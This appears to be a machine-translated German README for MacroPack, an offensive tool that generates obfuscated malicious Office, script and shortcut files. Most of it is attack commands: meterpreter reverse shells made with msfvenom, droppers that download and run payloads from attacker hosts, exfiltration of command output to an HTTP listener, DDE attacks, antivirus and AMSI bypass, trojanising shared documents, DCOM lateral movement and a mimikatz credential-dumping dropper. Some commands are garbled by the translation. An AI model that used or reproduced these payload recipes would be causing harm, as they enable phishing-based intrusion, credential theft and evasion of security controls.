MacroPack Community ist ein Tool zur Automatisierung der Verschleierung und Generierung von Retroformaten wie MS Office-Dokumenten oder VBS-ähnlichen Formaten. Es verarbeitet auch verschiedene Shortcut-Formate. Dieses Tool kann für Red Teaming, Pentests, Demos und Social-Engineering-Bewertungen verwendet werden. MacroPack vereinfacht die Umgehung von Antimalware-Lösungen und automatisiert den Prozess von der VB-Quelle bis zum endgültigen Office-Dokument oder einem anderen Nutzlasttyp. Die Anwendung ist ganz einfach:
Keine Konfiguration erforderlich
Alles kann mit einer einzigen Codezeile erledigt werden
Generierung der meisten Office-Formate und VBS-basierten Formate
Payloads für fortgeschrittene Social-Engineering-Angriffe (E-Mail, USB-Stick usw.)
Das Tool ist mit Payloads kompatibel, die von gängigen Pentest-Tools (Metasploit, Empire, ...) generiert werden. Es ist auch einfach mit anderen Tools zu kombinieren, da es möglich ist, Eingaben von stdin zu lesen und eine stille Ausgabe an ein anderes Tool zu haben. Dieses Tool ist in Python3 geschrieben und funktioniert sowohl auf Linux- als auch auf Windows-Plattformen
Hinweis: Für die automatische Generierung von Office-Dokumenten oder Trojanerfunktionen ist eine Windows-Plattform mit den richtigen installierten MS Office-Anwendungen erforderlich.
Das Tool verwendet verschiedene Verschleierungstechniken, alle automatisch. Verschleierungsfunktionen sind mit allen VBA- und VBS-basierten Formaten kompatibel, die von MacroPack generiert werden können.
Die grundlegende Verschleierung (Option -o) umfasst:
Funktionen umbenennen
Variablen umbenennen
Leerzeichen entfernen
Kommentare entfernen
Codierung von Strings
MacroPack kann verschiedene Arten von MS Office-Dokumenten und Skriptformaten generieren. Das Format wird abhängig von der angegebenen Dateierweiterung automatisch erraten. Die Dateigenerierung erfolgt mit der Option --generate oder -G.
Mit der MacroPack Pro-Version können Sie auch vorhandene Office-Dateien mit der Option --trojan oder -T trojanisieren.
Von MS Office unterstützte Formate sind:
MS Word (.doc, .docm, .docx, .dotm)
MS Excel (.xls, .xlsm, .xslx, .xltm)
MS PowerPoint (.pptm, .potm)
MS Access (.accdb, .mdb)
MS Visio (.vsd,.vsdm)
MS Project (.mpp)
Von Scripting (txt) unterstützte Formate sind:
VBA-Textdatei (.vba)
VBS-Textdatei (.vbs).
Windows-Skriptdatei (.wsf)
Windows-Skriptkomponenten-Skriptlets (.wsc, .sct)
HTML-Anwendungen (.hta)
XSLT-Stylesheet (.xsl) (Ja, MS XSLT enthält Skripte ^^)
Von Shortcuts/Shell unterstützte Formate sind:
Shell-Link (.lnk)
Explorer-Befehlsdatei (.scf)
URL-Verknüpfung (.url)
Groove-Verknüpfungen (.glk)
Einstellungsverknüpfungen (.settingcontent-ms)
MS-Bibliothek (.library-ms)
Setup-Informationen (.inf)
Excel-Webabfrage (.iqy)
Visual Studio-Projekt (.csproj)
Befehlszeile (.cmd)
Nur SYmbolic LinK (.slk) Pro-Version
Komprimierte HTML-Hilfe (.chm), nur Pro-Version
Beachten Sie, dass alle Skript- und Verknüpfungsformate (außer LNK) auch in der Linux-Version von MacroPack generiert werden können.
Diese Software darf nur im Zusammenhang mit einem Red-Team-Einsatz, Penetrationstests, Phishing-Simulationen, Sicherheitsforschung oder anderen Formen von Sicherheitsbewertungen mit rechtmäßiger und formeller Genehmigung der Systembesitzer verwendet werden. Die Nutzung dieser Software zum Angriff auf Ziele ohne vorherige Zustimmung ist verboten und illegal. Es liegt in der Verantwortung des Benutzers, alle geltenden lokalen, staatlichen, bundesstaatlichen und nationalen Gesetze einzuhalten.
Wir übernehmen keine Haftung und sind nicht verantwortlich für etwaigen Missbrauch oder Schäden, die durch die Verwendung dieser Software entstehen können.
Nicht alle Funktionen und Optionen von MacroPack sind in der MacroPack-Community verfügbar. Nur die Community-Version ist online verfügbar. Die Funktionen der Pro-Version „bewaffnen“ den Prozess wirklich, daher ist ihr Zugriff auf Profis beschränkt.
Der Pro-Modus umfasst Funktionen wie:
Erweiterte Antimalware-Umgehung
Erweiterte Shellcode-Injektionsmethoden
Befehlszeilenverschleierung (Dosfuscation)
ASR- und AMSI-Bypass
Selbstentpackende VBA/VBS-Nutzlasten
Trojaner für vorhandene MS Office-Dokumente, Hilfedateien und Visual Studio-Projekte.
Lockvogel-Nutzlast einbetten
Seitliche Bewegung mit DCOM-Objekten
Anti-Reverse-Engineering
Sandbox-Erkennung
Unterstützung weiterer Formate wie Excel 4.0 SYLK und kompilierter Hilfedateien
Führen Sie erweiterte VB-Nutzdaten aus ungewöhnlichen Formaten aus
Bewaffnete Vorlagen und zusätzliche Vorlagen (z. B. EMPIRE, AUTOSHELLCODE)
Excel 4.0-Makros (XLM)
Und noch viel mehr…
Einige kurze Demovideos sind auf dem BallisKit Vimeo-Kanal verfügbar.
Wichtig: Wenn Sie mich bezüglich MacroPack Pro kontaktieren möchten, verwenden Sie meine E-Mail-Adresse emeric.nasi [at] sevagas.com. Für die Pro-Version beantworte ich keine anonymen Anfragen, sondern nur professionelle E-Mails.
Holen Sie sich die neueste Binärdatei von https://github.com/sevagas/macro_pack/releases/
Laden Sie die Binärdatei auf einen PC herunter, auf dem Original-Microsoft Office installiert ist.
Öffnen Sie die Konsole, legen Sie die CD in das Binärverzeichnis und rufen Sie die Binärdatei auf, ganz einfach!
Macro_pack.exe --help
Sie müssen sich auf einem Windows-Computer befinden, um MacroPack zu erstellen. Abhängigkeiten herunterladen und installieren:
Git-Klon https://github.com/sevagas/macro_pack.gitcd Macro_pack pip3 install -r Anforderungen.txt
Das Tool ist in Python 3 enthalten, also beginnen Sie einfach mit Ihrer Python3-Installation. ex:
python3 Macro_pack.py --help# oderPython Macro_pack.py --help # wenn Python3 die Standardinstallation ist
Wenn Sie mit pyinstaller eine eigenständige EXE-Datei erstellen möchten:
Pyinstaller installieren: pip install pyinstaller
Doppelklicken Sie auf das Skript „build.bat“.
Die resultierende Datei „macro_pack.exe“ befindet sich im bin -Verzeichnis.
Listen Sie alle unterstützten Dateiformate auf
Macro_pack.exe --listformats
Listen Sie alle verfügbaren Vorlagen auf
Macro_pack.exe --listtemplates
Verschleiert die von msfvenom generierte VBA-Datei und fügt das Ergebnis in eine neue VBA-Datei ein.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | Macro_pack.exe -o -G meterobf.vba
Verschleiern Sie die Empire Stager-VBA-Datei und erstellen Sie ein MS Word-Dokument:
Macro_pack.exe -f Empire.vba -o -G myDoc.docm
Erzeugen Sie eine MS-Excel-Datei mit einem verschleierten Dropper (laden Sie payload.exe herunter und speichern Sie es als „dropped.exe“).
echo „https://myurl.url/payload.exe“ „dropped.exe“ | Macro_pack.exe -o -t DROPPER -G "drop.xlsm"
Erstellen Sie ein Word-97-Dokument mit einer verschleierten VBA-Reverse-Meterpreter-Nutzlast in einem Freigabeordner
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | Macro_pack.exe -o -G REMOTE-PCSharemeter.doc
Laden Sie Empire Launcher Stager ohne powershell.exe herunter und führen Sie es aus, indem Sie die Vorlage DROPPER_PS verwenden
# 1 Erzeugen Sie eine Datei mit dem Empire-Lauchcher. # 2 Stellen Sie diese Datei auf dem Webserver zur Verfügung, z. B. mit netcat:{ echo -ne "HTTP/1.0 200 OKrnrn"; Katze Empire_stager.cmd; } | nc -l -p 6666 -q1# 3 Verwenden Sie Macro_pack, um die Nutzlast DROPPER_PS in der Excel-Datei zu generieren. echo http://10.5.5.12:6543/empire_stager.cmd | Macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls# 4 Bei der Ausführung auf dem Ziel lädt das Makro PowerShdll herunter, führt es mit rundll32 aus und lädt den Stager herunter und führt ihn aus.
Führen Sie calc.exe über einen DDE-Angriff (Dynamic Data Exchange) aus
echo calc.exe | Macro_pack.exe --dde -G calc.xslx
Laden Sie die Datei über Powershell mithilfe des DDE-Angriffs (Dynamic Data Exchange) herunter und führen Sie sie aus
# 1 Ändern Sie die Zieldatei-URL in resourcescommunityps_dl_exec.cmd# 2 Betten Sie den Download-Execute-CMD in documentmacro_pack.exe ein --dde -f ..resourcescommunityps_dl_exec.cmd -G DDE.xslx
Führen Sie den Befehl (notepad.exe) über die Excel-Webabfragedatei und DDE aus
# 1 Erstellen Sie die Datei dde.dat mit next content=cmd|' /c notepad.exe'!A1# 2 Hosten Sie dde.dat auf dem Webserver, z. B. mit Macro_pack -l# 3 Generieren Sie die .iqy-Dateimacro_pack.exe -G dde.iqy
Erzeugen Sie eine verschleierte Meterpreter-Reverse-TCP-VBS-Datei und führen Sie sie aus
# 1 Verschleiertes VBS basierend auf der Meterpreter-Vorlage sowie der Metasploit-Ressource fileecho| generieren Macro_pack.exe -t METERPRETER -o -G meter.vbs # 2 Richten Sie auf dem Angreifercomputer den Meterpreter-Listener ein msfconsole -r meterpreter.rc # 3 Führen Sie die VBS-Datei mit Wscript aus (führen Sie 32-Bit-Wscript aus, da die Meterpreter-Nutzlast 32 Bit beträgt)%windir%SysWoW64wscript meter.vbs
Erstellt eine verschleierte HTA-Datei, die „systeminfo“ ausführt und das Ergebnis an ein anderes Makropaket zurückgibt, das 192.168.0.5 überwacht
# 1 HTA-Datei mit REMOTE_CMD generieren templateecho http://192.168.0.5:1234/a "systeminfo" | Macro_pack.exe -t REMOTE_CMD -o -G info.hta # 2 Öffnen Sie am 192.168.0.5 Macro_pack als http-Listener Macro_pack.exe -l . --port=1234# 3 HTA-Datei mit mshta ausführen mshta.exe full/path/to/info.hta
Generieren Sie eine URL-Verknüpfung, die eine lokale HTA-Datei ausführt, wenn Sie darauf klicken
echo „file://C:BenutzerBenutzernameDesktophello.hta“ | Macro_pack.exe -G yop.url
Generieren Sie eine LNK-Verknüpfung, die einen cmd ausführt, der calc.exe mit dem calc.exe-Symbol ausführt
echo '"c:WindowsSystem32cmd.exe /c calc.exe" "calc.exe"' | Macro_pack.exe -G calc.lnk
Trojaner entfernen die vorhandene freigegebene Datei „report.xlsm“ mit einem Dropper. Verwenden Sie Anti-AV- und Anti-Reverse-Funktionen.
echo „http://10.5.5.12/drop.exe“ „dropped.exe“ | Macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:accountingreport.xls"
Generieren Sie eine Word-Datei mit VBA-selbstcodierter x64-Reverse-Meterpreter-VBA-Nutzlast (umgeht die meisten AV-Inhalte). Keep-Alive ist erforderlich, da wir Meterpreter benötigen, um vor der Migration am Leben zu bleiben.
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | Macro_pack.exe -o --autopack --keep-alive -G out.docm
Trojaner, eine PowerPoint-Datei mit einem Reverse-Roh-Shellcode. Makros werden verschleiert und entstellt, um AMSI und die meisten Antivirenprogramme zu umgehen.
echo beacon.bin | Macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
Führen Sie mit DCOM ein Makro auf einem Remote-PC aus.
REM Schritt 1: Stellen Sie sicher, dass Sie über ausreichende Rechte verfügen.net use 192.168.0.8c$ /user:domainusername passwortREM Schritt 2: Dokument generieren, zum Beispiel hier meterpreter reverse TCP Excel fileecho 192.168.0.5 4444 | Macro_pack.exe -t METERPRETER -o -G meter.xlsmREM Schritt 3: Kopieren Sie das Dokument irgendwo auf Remote Sharecopy meter.xlsm "192.168.0.8c$usersusernamemeter.xlsm"REM Schritt 4: Ausführen!macro_pack.exe --dcom=" 192.168.0.8c$usersusernamemeter.xlsm"REM Schritt 2 bis 4 in einem Schritt:echo 192.168.0.5 4444 | Macro_pack.exe -t METERPRETER -o -G "192.168.0.8c$usersusernamemeter.xlsm" --dcom="192.168.0.8c$usersusernamemeter.xlsm"
Main payload generation options: -G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension. MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files. Note: Office payload generation requires that MS Office application is installed on the machine --listformats View all file formats which can be generated by MacroPack -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats If no input file is provided, input must be passed via stdin (using a pipe). -t, --template=TEMPLATE_NAME Use code template already included in MacroPack MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass --listtemplates View all templates provided by MacroPack -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document. Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll. Security bypass options: -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) --obfuscate-names-charset=Set a charset for obfuscated variables and functions Choose between: alpha, alphanum, complete or provide the list of char you want --obfuscate-names-minlen= Set min length of obfuscated variables and functions (default 8) --obfuscate-names-maxlen= Set max length of obfuscated variables and functions (default 20) --uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates Other options: -q, --quiet Do not display anything on screen, just process request. -p, --print Display result file on stdout (will display VBA for Office formats) Combine this option with -q option to pipe result into another program ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app -s, --start-function=START_FUNCTION Entry point of macro file Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function --icon Path of generated file icon. Default is %windir%system32imageres.dll,67 --dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE This option is only compatible with Excel formats. --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations. This will trigger AutoOpen/Workbook_Open automatically. If no auto start function, use --start-function option to indicate which macro to run. --unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers. Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg In this case, windows or linux explorers will show the file named as: somethingath.jpg -l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80. -w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH. --port=PORT Specify the listening port for HTTP and WebDAV servers. -h, --help Displays help and exit
Vorlagen können mit -t, --template=TEMPLATE_NAME in Kombination mit anderen Optionen aufgerufen werden.
Hier finden Sie alle verfügbaren Vorlagen.
Drucken Sie einfach eine Hallo-Nachricht und eine Sensibilisierung für Makros aus.
Geben Sie dieser Vorlage den Namen oder die E-Mail-Adresse des Autors:
-> Beispiel: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
Führen Sie einen Befehl aus.
Geben Sie dieser Vorlage eine Befehlszeile
-> Beispiel (calc.exe aus einer xslt-Datei entfernen): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
Führen Sie eine Befehlszeile aus und senden Sie Ergebnisse an den Remote-HTTP-Server.
Geben Sie dieser Vorlage die Server-URL und den auszuführenden Befehl:
-> Beispiel: echo "http://192.168.0.5:7777" "dir /QC:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc
# Ergebnis mit einem beliebigen Webserver oder netcatnc -l -p 7777 abfangen
Laden Sie eine Datei herunter und führen Sie sie aus.
Geben Sie dieser Vorlage die Datei-URL und den Zieldateipfad an
-> Beispiel: echo
Laden Sie das Powershell-Skript mit rundll32 herunter und führen Sie es aus (um blockierte powershell.exe zu umgehen).
Hinweis: Diese Nutzlast lädt PowerShdll von Github herunter.
Geben Sie dieser Vorlage die URL des Powershell-Skripts an, das Sie ausführen möchten:
-> Beispiel: echo "
Laden Sie eine DLL mit einer anderen Erweiterung herunter und führen Sie sie mit Office VBA aus.
-> Beispiel, Meterpreter-DLL mit Office laden:
REM Meterpreter-DLL generieren payloadmsfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dllREM Machen Sie es auf dem Webserver verfügbar, z. B. mit Netcat auf Port 6666{ echo -ne "HTTP/1.0 200 OKrnrn" ; cat meter.dll; } | nc -l -p 6666 -q1REM Erstellen Sie eine Office-Datei, die die DLL herunterlädt und REM aufruft. Die DLL-URL lautet http://192.168.0.5:6666/normal.html und wird als .asd fileecho „http://192.168.html“ gespeichert .0.5:6666/normal.html" Ausführen | Macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls
Meterpreter-Reverse-TCP-Vorlage mit MacroMeter von Cn33liz.
Bei dieser Vorlage handelt es sich um CSharp Meterpreter Stager, der von Cn33liz erstellt und mithilfe von DotNetToJScript von James Forshaw in VBA eingebettet wurde.
Geben Sie dieser Vorlage die IP und den PORT der hörenden mfsconsole:
-> Beispiel: echo
Diese Vorlage generiert auch eine meterpreter.rc-Datei, um den Metasploit-Handler zu erstellen
-> Beispiel: msfconsole -r meterpreter.rc
Legen Sie eine eingebettete Datei ab und führen Sie sie aus.
In Kombination mit der Option --embed wird die eingebettete Datei mit einem zufälligen Namen im TEMP-Ordner abgelegt und ausgeführt.
-> Beispiel: macro_pack.exe -t EMBED_EXE --embed=c:windowssystem32calc.exe -o -G my_calc.vbs
In Kombination mit der Option --embed wird eine Funktion in der angegebenen DLL gelöscht und aufgerufen.
Geben Sie dieser Vorlage den Namen und die Parameter der Funktion, die in der DLL aufgerufen werden soll
-> Beispiel1: echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> Beispiel2: echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
Die verschiedenen Funktionen wurden mit lokal installierten Antimalware-Lösungen sowie Online-Diensten getestet. Ich habe mehrere Tests mit verschiedenen Arten von Nutzlasten und MacroPack-Funktionen durchgeführt. Ein Großteil der Antiviren-Statik wird durch die einfache Option „Verschleieren“ umgangen. Allerdings werden Payloads, wie die meisten kostenlosen Tools, im Allgemeinen durch Verhaltensanalysen wie AMSI erfasst. Die im MacroPack Pro-Modus verfügbaren Funktionen ermöglichen im Allgemeinen eine vollständige AV-Umgehung einschließlich AMSI.
Warnung: Senden Sie Ihre Proben nicht an Online-Scanner (z. B. VirusTotal). Dies ist der beste Weg, Ihr Stealth-Makro zu knacken. Ich schlage außerdem vor, dass Sie Ihre Daten nicht an nicht meldende Websites wie NoDistribute übermitteln. Sie können nicht sicher sein, was diese Websites mit den von Ihnen übermittelten Daten tun. Wenn Sie ein Problem mit der Macro_pack AV-Erkennung haben, können Sie uns um Rat schreiben oder eine Problem- oder Pull-Anfrage einreichen.
Blogbeiträge zu MacroPack Pro:
https://blog.sevagas.com/?Launch-shellcodes-and-bypass-Antivirus-using-MacroPack-Pro-VBA-payloads
https://blog.sevagas.com/?EXCEL-4-0-XLM-macro-in-MacroPack-Pro (Excel 4.0-Nutzlasten in MacroPack Pro)
https://blog.sevagas.com/?Advanced-MacroPack-payloads-XLM-Injection (XLM-Injektion in MacroPack Pro)
Blogbeiträge zum Hacken mit MS Office, VBS und anderen Retro-Sicherheitsprodukten:
https://blog.sevagas.com/?Bypass-Windows-Defender-Attack-Surface-Reduction
https://subt0x11.blogspot.fr/2018/04/wmicexe-whitelisting-bypass-hacking.html
http://blog.sevagas.com/?My-VBA-Bot (schreiben Sie eine vollständige VBA-RAT, einschließlich der Umgehung des VBOM-Schutzes)
http://blog.sevagas.com/?Hacking-around-HTA-files (Führen Sie HTA-Code in Nicht-HTA-Dateien und HTA-Polyglotten aus)
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ (Über Dynamic Data Exchange-Angriffe)
https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
Weitere nützliche Links:
https://github.com/p3nt4/PowerShdll (PowerShell nur mit DLLs ausführen)
https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384 (Powershell-Skript mit PowerShdll-VBA-Implementierung ausführen)
https://github.com/EmpireProject/Empire
https://medium.com/@vivami/phishing-between-the-app-whitelists-1b7dcdab4279
https://github.com/Cn33liz/MacroMeter
https://github.com/khr0x40sh/MacroShop
https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard
Schreiben Sie mir gerne eine Nachricht auf meinem Twitter-Konto @EmericNasi
E-Mails:
emeric.nasi[ at ]sevagas.com
ena.sevagas[ at ]protonmail.com
Wichtig: Wenn Sie mich bezüglich MacroPack Pro kontaktieren möchten, verwenden Sie meine E-Mail-Adresse von sevagas.com. Bitte beachten Sie auch, dass ich für die Pro-Version keine anonymen Anfragen beantworte, sondern nur professionelle E-Mails.
Die Apache-Lizenz 2.0
Copyright 2017,2018,2019,2020,2021,2022 Emeric „Sio“ Nasi (blog.sevagas.com)